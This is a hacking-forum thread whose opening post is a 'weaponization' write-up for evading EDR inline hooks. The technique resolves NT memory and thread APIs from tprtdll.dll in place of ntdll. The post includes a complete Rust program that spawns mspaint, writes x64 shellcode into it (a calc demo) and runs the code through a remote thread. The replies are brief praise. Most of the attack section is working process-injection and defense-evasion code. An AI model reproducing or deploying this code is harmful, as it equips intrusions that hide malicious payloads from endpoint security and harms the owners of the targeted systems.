[Writeup] A better ntdll ======================== Section: Malware & Analysis Started: 2026-11-29 23:52 UTC by noqs Replies: 4, last post 2026-11-30 00:38 UTC Page: 1 of 1 Web: https://romdump.net/t/132 ------------------------------------------------------------------------------ #161 noqs, 2026-11-29 23:52 UTC [OP] (edited) Source: https://romdump.net/raw/161 Legal disclaimer: this shit is only for educational purposes i am not held responsible for any misuse god forbid Hello romdump community < 3 Note: this discovery belong to this researcher https://github.com/ivancabrera02 i will bring it to light and share w you the rust port yes this is necessary be a good boy and don't object INTRO: In this article i will show a hehe-haha decent trick very recently only a month ago no fancy fireworks but deserves mention. so in the previous article we showed that code running in VTL1 does not use ntdll instead enclaves receive vertdll, a minimal syscall interface to the secure kernel. What is far less documented is that VTL0 has its own ntdll substitute. Windows TrustedApps do not execute on top of the system ntdll so the loader presents them with a Microsoft-signed module alternative. The dll in question is tprtdll.dll you can find it in C:\Windows\System32\ on Windows 11 (build 26100+) so you can already see the opportunity here to evade calling likely hooked and heavily monitored ntapis exported by ntdll why? tprtdll is a completely separate PE image the syscall stubs in tprtdll most of the time its implementations match those of ntdll but the idea is that they reside at a completely different virtual address, something that will bypass edr inline hooks and give your injector a different behavioral signature since you don't rely on ntdll exported ntfunctions much Weaponization: let us have a look at some of the relevant apis to process injection locally and "remotely" 1- NtAllocateVirtualMemoryEx [image: https://romdump.net/img/f8f0c560d7bee29cf6ceb2019d1441393daa4c893bd82db38e677f34e0babfdc] 2- ZwProtectVirtualMemory [image: https://romdump.net/img/36d5fcb74bb1fb4a770a856ad34f5238b89f420a82b0fcaf29f5af7f7083bf5d] it is supposed to be there but because i am running windows 10 i had to download the dll from here https://msdl.microsoft.com/download/symbols/tprtdll.dll/B2ECD6DB72000/tprtdll.dll which probably differs from the build the researcher has 3- RtlCreateUserThread [image: https://romdump.net/img/af0763f91a6b561a4b5f4ff2b493258e25bc304d00485da5859e623cbea9f4a1] so far this chain of NtAllocateVirtualMemoryEx -> memcpy ZwProtectVirtualMemory -> RtlCreateUserThread is pretty enough for self injection But for remote injection to be using tprtdll purely the only problem is that WriteProcessMemory is not there in tprtdll so the only possible way to call it, is from kernel32 and here is the demo: [image: https://romdump.net/img/ccef3fddb0b563e0fc7509c78c4e6500d948ef1a6b5411a7ada6118501ab011e] yay and ofcourse here is the rust port: ``` //Build: rustc -O better_ntdll.rs (target: x86_64-pc-windows-msvc) #![allow(non_snake_case, non_camel_case_types, clippy::missing_safety_doc)] use std::ffi::{c_void, CString}; use std::mem::{size_of, transmute_copy, zeroed}; use std::ptr; type NTSTATUS = i32; type HANDLE = *mut c_void; type PVOID = *mut c_void; type HMODULE = *mut c_void; type BOOL = i32; type BOOLEAN = u8; type ULONG = u32; type DWORD = u32; type WORD = u16; const MEM_COMMIT: ULONG = 0x1000; const MEM_RESERVE: ULONG = 0x2000; const PAGE_READWRITE: ULONG = 0x04; const PAGE_EXECUTE_READ: ULONG = 0x20; #[repr(C)] #[derive(Default)] struct CLIENT_ID { unique_process: PVOID, unique_thread: PVOID, } #[repr(C)] struct STARTUPINFOA { cb: DWORD, lp_reserved: *mut u8, lp_desktop: *mut u8, lp_title: *mut u8, dw_x: DWORD, dw_y: DWORD, dw_x_size: DWORD, dw_y_size: DWORD, dw_x_count_chars: DWORD, dw_y_count_chars: DWORD, dw_fill_attribute: DWORD, dw_flags: DWORD, w_show_window: WORD, cb_reserved2: WORD, lp_reserved2: *mut u8, h_std_input: HANDLE, h_std_output: HANDLE, h_std_error: HANDLE, } #[repr(C)] #[derive(Default)] struct PROCESS_INFORMATION { h_process: HANDLE, h_thread: HANDLE, dw_process_id: DWORD, dw_thread_id: DWORD, } type FnNtAllocateVirtualMemoryEx = unsafe extern "system" fn( HANDLE, *mut PVOID, *mut usize, ULONG, ULONG, PVOID, ULONG, ) -> NTSTATUS; type FnZwProtectVirtualMemory = unsafe extern "system" fn( HANDLE, *mut PVOID, *mut usize, ULONG, *mut ULONG, ) -> NTSTATUS; type FnRtlCreateUserThread = unsafe extern "system" fn( HANDLE, PVOID, BOOLEAN, ULONG, *mut usize, *mut usize, PVOID, PVOID, *mut HANDLE, *mut CLIENT_ID, ) -> NTSTATUS; extern "system" { fn LoadLibraryA(name: *const u8) -> HMODULE; fn GetProcAddress(module: HMODULE, name: *const u8) -> *const c_void; fn GetModuleHandleA(name: *const u8) -> HMODULE; fn GetLastError() -> DWORD; fn CreateProcessA( app_name: *const u8, cmdline: *mut u8, proc_attr: PVOID, thread_attr: PVOID, inherit: BOOL, flags: DWORD, env: PVOID, dir: *const u8, si: *mut STARTUPINFOA, pi: *mut PROCESS_INFORMATION, ) -> BOOL; fn Sleep(ms: DWORD); fn WriteProcessMemory( process: HANDLE, base: PVOID, buf: *const u8, size: usize, written: *mut usize, ) -> BOOL; fn WaitForSingleObject(handle: HANDLE, ms: DWORD) -> DWORD; fn GetExitCodeThread(handle: HANDLE, exit_code: *mut DWORD) -> BOOL; fn TerminateProcess(handle: HANDLE, exit_code: ULONG) -> BOOL; fn CloseHandle(handle: HANDLE) -> BOOL; } fn nt_success(st: NTSTATUS) -> bool { st >= 0 } unsafe fn resolve(module: HMODULE, name: &str) -> Option { let cname = CString::new(name).ok()?; let raw = GetProcAddress(module, cname.as_ptr() as *const u8); if raw.is_null() { None } else { Some(transmute_copy::<*const c_void, T>(&raw)) } } // x64 PIC (47 bytes): WinExec("calc", SW_SHOWNORMAL) then ExitThread(0) unsafe fn build_shellcode(buf: &mut [u8; 64]) -> Option { let kernel32 = GetModuleHandleA(b"kernel32.dll\0".as_ptr()); if kernel32.is_null() { return None; } let win_exec = GetProcAddress(kernel32, b"WinExec\0".as_ptr()) as usize; let exit_thread = GetProcAddress(kernel32, b"ExitThread\0".as_ptr()) as usize; if win_exec == 0 || exit_thread == 0 { return None; } let mut sc: Vec = vec![ 0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 0x48, 0x8D, 0x0D, 0x1F, 0x00, 0x00, 0x00, // lea rcx, [rip+0x1F] -> "calc\0" 0xBA, 0x01, 0x00, 0x00, 0x00, // mov edx, 1 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // movabs rax, WinExec 0xFF, 0xD0, // call rax 0x33, 0xC9, // xor ecx, ecx 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // movabs rax, ExitThread 0xFF, 0xD0, // call rax b'c', b'a', b'l', b'c', 0, ]; sc[18..26].copy_from_slice(&win_exec.to_le_bytes()); sc[32..40].copy_from_slice(&exit_thread.to_le_bytes()); if sc.len() > buf.len() { return None; } buf[..sc.len()].copy_from_slice(&sc); Some(sc.len()) } fn main() { unsafe { let tprt = LoadLibraryA(b"tprtdll.dll\0".as_ptr()); if tprt.is_null() { println!("tprtdll.dll not found (need Win11 26100+)"); std::process::exit(1); } let alloc_ex: FnNtAllocateVirtualMemoryEx = match resolve(tprt, "NtAllocateVirtualMemoryEx") { Some(f) => f, None => { println!("missing NtAllocateVirtualMemoryEx"); std::process::exit(1); } }; let protect: FnZwProtectVirtualMemory = match resolve(tprt, "ZwProtectVirtualMemory") { Some(f) => f, None => { println!(" missing ZwProtectVirtualMemory"); std::process::exit(1); } }; let create_thread: FnRtlCreateUserThread = match resolve(tprt, "RtlCreateUserThread") { Some(f) => f, None => { println!(" missing RtlCreateUserThread"); std::process::exit(1); } }; let ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr()); println!("comparision"); println!(" NtAllocateVirtualMemoryEx tprt={:p} ntdll={:p}", alloc_ex as *const (), GetProcAddress(ntdll, b"NtAllocateVirtualMemoryEx\0".as_ptr())); println!(" ZwProtectVirtualMemory tprt={:p} ntdll={:p}", protect as *const (), GetProcAddress(ntdll, b"ZwProtectVirtualMemory\0".as_ptr())); println!(" RtlCreateUserThread tprt={:p} ntdll={:p}", create_thread as *const (), GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr())); let mut si: STARTUPINFOA = zeroed(); si.cb = size_of::() as DWORD; let mut pi: PROCESS_INFORMATION = zeroed(); let mut cmdline = b"mspaint.exe\0".to_vec(); if CreateProcessA(ptr::null(), cmdline.as_mut_ptr(), ptr::null_mut(), ptr::null_mut(), 0, 0, ptr::null_mut(), ptr::null(), &mut si, &mut pi) == 0 { println!("CreateProcess(mspaint) failed {}", GetLastError()); std::process::exit(1); } println!("\n target: mspaint.exe PID={}", pi.dw_process_id); Sleep(2000); let h_proc = pi.h_process; let mut sc = [0u8; 64]; let sc_len = match build_shellcode(&mut sc) { Some(n) => n, None => { println!("shellcode build failed"); std::process::exit(1); } }; println!("shellcode {} B", sc_len); let mut remote_base: PVOID = ptr::null_mut(); let mut region_size: usize = 0x1000; let st = alloc_ex(h_proc, &mut remote_base, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ptr::null_mut(), 0); if !nt_success(st) { println!("alloc 0x{:08X}", st as u32); TerminateProcess(h_proc, 0); std::process::exit(1); } println!(" NtAllocateVirtualMemoryEx (tprtdll) remote={:p}", remote_base); let mut written: usize = 0; if WriteProcessMemory(h_proc, remote_base, sc.as_ptr(), sc_len, &mut written) == 0 { println!(" WriteProcessMemory failed {}", GetLastError()); TerminateProcess(h_proc, 0); std::process::exit(1); } println!(" WriteProcessMemory (kernel32) {} B", written); let mut p_base = remote_base; let mut p_size: usize = 0x1000; let mut old_prot: ULONG = 0; let st = protect(h_proc, &mut p_base, &mut p_size, PAGE_EXECUTE_READ, &mut old_prot); if !nt_success(st) { println!("protect 0x{:08X}", st as u32); TerminateProcess(h_proc, 0); std::process::exit(1); } println!(" ZwProtectVirtualMemory (tprtdll) RW->RX"); let mut h_thread: HANDLE = ptr::null_mut(); let mut cid: CLIENT_ID = zeroed(); let st = create_thread(h_proc, ptr::null_mut(), 0, 0, ptr::null_mut(), ptr::null_mut(), remote_base, ptr::null_mut(), &mut h_thread, &mut cid); if !nt_success(st) { println!("thread 0x{:08X}", st as u32); TerminateProcess(h_proc, 0); std::process::exit(1); } println!("RtlCreateUserThread (tprtdll) remote TID={}", cid.unique_thread as usize); WaitForSingleObject(h_thread, 5000); let mut exit_code: DWORD = 0; GetExitCodeThread(h_thread, &mut exit_code); CloseHandle(h_thread); CloseHandle(h_proc); CloseHandle(pi.h_thread); println!("remote thread exit={}\n", exit_code); } } ``` Conclusion: ofcourse this is not magical because simply all this takes is waiting till edrs begin to monitor calls to the apis exported by this dll and this is over if you want to truly bypass the edr inline hooks by design and having legit callstack go back to my article named covert ntapi and watch the demo and read the source code to understand how it is done till i feel like it and do a writeup thx < 3 ------------------------------------------------------------------------------ #163 admin, 2026-11-30 00:09 UTC Source: https://romdump.net/raw/163 reminds me of jonas work, it needs to be brought to light aswell ------------------------------------------------------------------------------ #164 noqs, 2026-11-30 00:30 UTC Source: https://romdump.net/raw/164 reminds me of jonas work, it needs to be brought to light aswell Anything related to malware is good ------------------------------------------------------------------------------ #165 x0rbyte, 2026-11-30 00:32 UTC Source: https://romdump.net/raw/165 love you work keep going ❤️ ------------------------------------------------------------------------------ #167 noqs, 2026-11-30 00:38 UTC Source: https://romdump.net/raw/167 love you work keep going ❤️ And I love u <3 ------------------------------------------------------------------------------ Page 1 of 1. End of thread.